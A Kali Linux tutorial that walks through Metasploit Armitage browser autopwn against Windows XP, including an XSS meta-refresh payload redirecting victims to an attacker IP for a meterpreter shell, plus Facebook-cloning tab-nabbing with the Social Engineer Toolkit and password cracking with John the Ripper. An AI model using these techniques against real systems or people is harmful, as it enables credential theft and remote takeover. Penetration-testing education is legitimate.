Introduction; In this Kali tutorial, we will use Kali tools to exploit a remote system and learn how the exploitation framework can be used with the privilege escalation tool John the Ripper to crack passwords and gain access to a remote Windows system. Metasploit Armitage; Metasploit Armitage is the GUI version of the famous Metasploit framework. In this part , we will look at the browser autopwn exploit for Windows XP using Metasploit Armitage. Features of this attack: Use of the auxiliary module of Metasploit Armitage. Around 22 exploit modules used to carry out the attack Use of the social engineering approach Auto-migration to notepad.exe from the browser process For this exploit, you need a site with a cross-site scripting (XSS) URL redirection vulnerability. The victim clicks on a particular URL in the browser, which spawns a meterpreter shell in the victim’s system. The URL redirection code will look something like: Code: http://vulnerablesite?c="><meta HTTPEQUIV="REFRESH" content="0; url=http://attackerIPaddress "> The auto-migration feature is used to spawn the exploit into a new process, because if the exploit is not migrated, the whole attack will terminate when the user closes the browser. Migration is therefore done automatically to maintain prolonged access. Social-Engineer Toolkit In this Kali , I will discuss a type of attack called tab nabbing. In this attack, the victim opens a link in a browser, but as soon as he changes to another tab, the original page is replaced with a fake page, which allows attacker(s) to gain the victim’s login credentials. The victim is duped into entering his username and password on a fake site. In this “social engineering” attack, we choose a website attack vector and the option to clone the website. We specify the site to clone, whose login credentials we desire to obtain. I have cloned Facebook in this Kali guide for demonstration purposes only*. Please note that cloning will not occur if you are not connected to the Internet during the process. A fake Facebook login page created by the Social Engineer Toolkit based on options set by the attacker. POST Data captured by the Social Engineer Toolkit framework from a fake Facebook login page. Privilege Escalation tools We may not always gain administrator or superuser access to a remote system. As an attacker, we need maximum privileges on the target to execute our payloads and perform desired actions. Kali offers a wide range of privilege escalation tools to meet these needs, as shown in Figure 5 of this Kali guide. John the Ripper; Once the victim has been compromised (please refer to above articles on SET and MsF for more details), the password cracker John the Ripper can be used to crack the Windows hashes to escalate privileges and gain administrator rights to the system. After exploitation, the hashes are dumped to a text file, and this text file is supplied to John the Ripper. John the Ripper is a very effective tool for cracking password hashes of remote systems once the hashes are available. The attack demonstrated in this Kali guide can be carried out with either the Metasploit Framework or the Social Engineer Toolkit. With these passwords in hand, we can now escalate our privileges on the target system. It is evident from this guide that Kali and a crafty attacker can make maximum use of these tools, and combine them to maximize his benefits. This Kali guide highlights the most important exploitation and privilege escalation tools. In the Kali guides to come, I will cover some more exploitation and privilege escalation techniques.